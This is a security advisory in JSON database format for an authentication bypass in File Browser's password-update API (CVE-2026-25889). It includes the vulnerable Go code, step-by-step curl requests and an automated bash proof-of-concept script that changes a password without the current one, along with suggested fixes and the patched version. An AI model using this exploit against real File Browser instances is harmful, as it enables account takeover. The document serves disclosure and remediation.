{"schema_version":"1.9.0","id":"GHSA-hxw8-4h9j-hq2r","published":"2026-02-10T00:22:33Z","modified":"2026-02-19T20:41:10.311386Z","aliases":["CVE-2026-25889","GO-2026-4475"],"summary":"File Browser has an Authentication Bypass in User Password Update","details":"# Security Advisory: Authentication Bypass in User Password Update\n\n## Summary\n\nA case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) **without providing the current password**. By using Title Case field name `\"Password\"` instead of lowercase `\"password\"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.\n\n**CVSS Score**: 7.5 (High)  \n**CWE**: CWE-178 (Improper Handling of Case Sensitivity)\n\n---\n\n## Details\n\nThe vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).\n\n### Vulnerable Code\n\n```go\n// http/users.go:181-200\nif d.settings.AuthMethod == auth.MethodJSONAuth {\n    var sensibleFields = map[string]struct{}{\n        \"all\":          {},\n        \"username\":     {},\n        \"password\":     {},  // lowercase\n        \"scope\":        {},\n        \"lockPassword\": {},\n        \"commands\":     {},\n        \"perm\":         {},\n    }\n\n    for _, field := range req.Which {\n        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup\n            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n            }\n            break\n        }\n    }\n}\n```\n\n### Root Cause\n\n1. The `sensibleFields` map uses **lowercase** keys (e.g., `\"password\"`)\n2. The lookup `sensibleFields[field]` is **case-sensitive**\n3. When `req.Which` contains `\"Password\"` (Title Case), the lookup returns `false`\n4. The password verification block is skipped entirely\n5. Later in the code (line 229), field names are converted to Title Case for processing, so `\"Password\"` is a valid field name\n\n### Attack Flow\n\n```\n1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)\n2. Attacker sends PUT /api/users/{id} with:\n   - which: [\"Password\"]  (Title Case - bypasses validation)\n   - data.password: \"attacker_password\"\n   - NO current_password field required\n3. Password is changed without verification\n4. Victim is locked out, attacker has full access\n```\n\n---\n\n## PoC\n\n### Prerequisites\n- A valid JWT token for any user account\n- Target Filebrowser instance using JSON authentication (default)\n\n### Reproduction Steps\n\n**Step 1: Obtain a valid JWT token**\n```bash\nTOKEN=$(curl -s -X POST \"http://target:8080/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"victim\",\"password\":\"victim_password\"}')\n```\n\n**Step 2: Attempt normal password change (should fail)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"what\": \"user\",\n    \"which\": [\"password\"],\n    \"data\": {\"id\": 1, \"password\": \"NewPassword123456\"}\n  }'\n# Response: 400 Bad Request (the current password is incorrect)\n```\n\n**Step 3: Bypass with Title Case (succeeds without current_password)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"what\": \"user\",\n    \"which\": [\"Password\"],\n    \"data\": {\"id\": 1, \"password\": \"HackedPassword123\"}\n  }'\n# Response: 200 OK\n```\n\n**Step 4: Verify account takeover**\n```bash\n# Original password no longer works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n  -d '{\"username\":\"victim\",\"password\":\"victim_password\"}'\n# Response: 403 Forbidden\n\n# New password works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n  -d '{\"username\":\"victim\",\"password\":\"HackedPassword123\"}'\n# Response: Valid JWT token\n```\n\n### Automated PoC Script\n\n```bash\n#!/bin/bash\n# Usage: ./poc.sh <target> <username> <current_password> <new_password>\n\nTARGET=\"$1\"\nUSERNAME=\"$2\"\nCURRENT_PASS=\"$3\"\nNEW_PASS=\"$4\"\n\n# Login\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"username\\\":\\\"$USERNAME\\\",\\\"password\\\":\\\"$CURRENT_PASS\\\"}\")\n\n# Get user ID from token\nUSER_ID=$(echo \"$TOKEN\" | python3 -c \"\nimport sys,json,base64\nparts=input().split('.')\npayload=json.loads(base64.b64decode(parts[1]+'=='))\nprint(payload['user']['id'])\n\")\n\n# Exploit: Change password without current_password\ncurl -s -X PUT \"$TARGET/api/users/$USER_ID\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"what\\\": \\\"user\\\",\n    \\\"which\\\": [\\\"Password\\\"],\n    \\\"data\\\": {\\\"id\\\": $USER_ID, \\\"password\\\": \\\"$NEW_PASS\\\"}\n  }\"\n\necho \"Password changed to: $NEW_PASS\"\n```\n\n---\n\n## Impact\n\n### Who is Impacted\n\n- **All Filebrowser users** using JSON authentication method (default configuration)\n- Any user whose JWT token can be obtained by an attacker\n- Particularly high-value targets: administrator accounts\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| XSS + Token Theft | Complete account takeover |\n| JWT in Server Logs | Mass account compromise |\n| Shared Computer | Session hijacking |\n| Malicious Browser Extension | Credential theft |\n\n### Security Impact\n\n| Category | Severity |\n|----------|----------|\n| Confidentiality | **High** - Attacker gains full account access |\n| Integrity | **High** - Attacker can modify all user data |\n| Availability | **High** - Legitimate user locked out |\n\n### Scope\n\n- The vulnerability affects **password modification only**\n- Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check\n- However, for **administrators**, all fields can be modified using this bypass technique\n\n---\n\n## Suggested Fix\n\n### Option 1: Case-insensitive field matching (Recommended)\n\n```go\n// Convert field to lowercase before checking\nfor _, field := range req.Which {\n    if _, ok := sensibleFields[strings.ToLower(field)]; ok {\n        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n        }\n        break\n    }\n}\n```\n\n### Option 2: Use Title Case in sensibleFields\n\n```go\nvar sensibleFields = map[string]struct{}{\n    \"All\":          {},\n    \"Username\":     {},\n    \"Password\":     {},  // Title Case to match post-transformation\n    \"Scope\":        {},\n    \"LockPassword\": {},\n    \"Commands\":     {},\n    \"Perm\":         {},\n}\n\n// Check AFTER field name transformation\nfor k, v := range req.Which {\n    v = cases.Title(language.English, cases.NoLower).String(v)\n    req.Which[k] = v\n    \n    // Now check with Title Case\n    if _, ok := sensibleFields[v]; ok {\n        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n        }\n        break\n    }\n}\n```\n\n---\n\n## References\n\n- Affected File: `http/users.go`\n- Affected Lines: 181-200\n- Related Code: `NonModifiableFieldsForNonAdmin` (line 17)","affected":[{"package":{"name":"github.com/filebrowser/filebrowser/v2","ecosystem":"Go","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.57.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 2.57.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-hxw8-4h9j-hq2r/GHSA-hxw8-4h9j-hq2r.json"}}],"references":[{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25889"},{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"},{"type":"PACKAGE","url":"https://github.com/filebrowser/filebrowser"},{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"}],"database_specific":{"cwe_ids":["CWE-178"],"github_reviewed":true,"github_reviewed_at":"2026-02-10T00:22:33Z","nvd_published_at":"2026-02-09T22:16:03Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}]}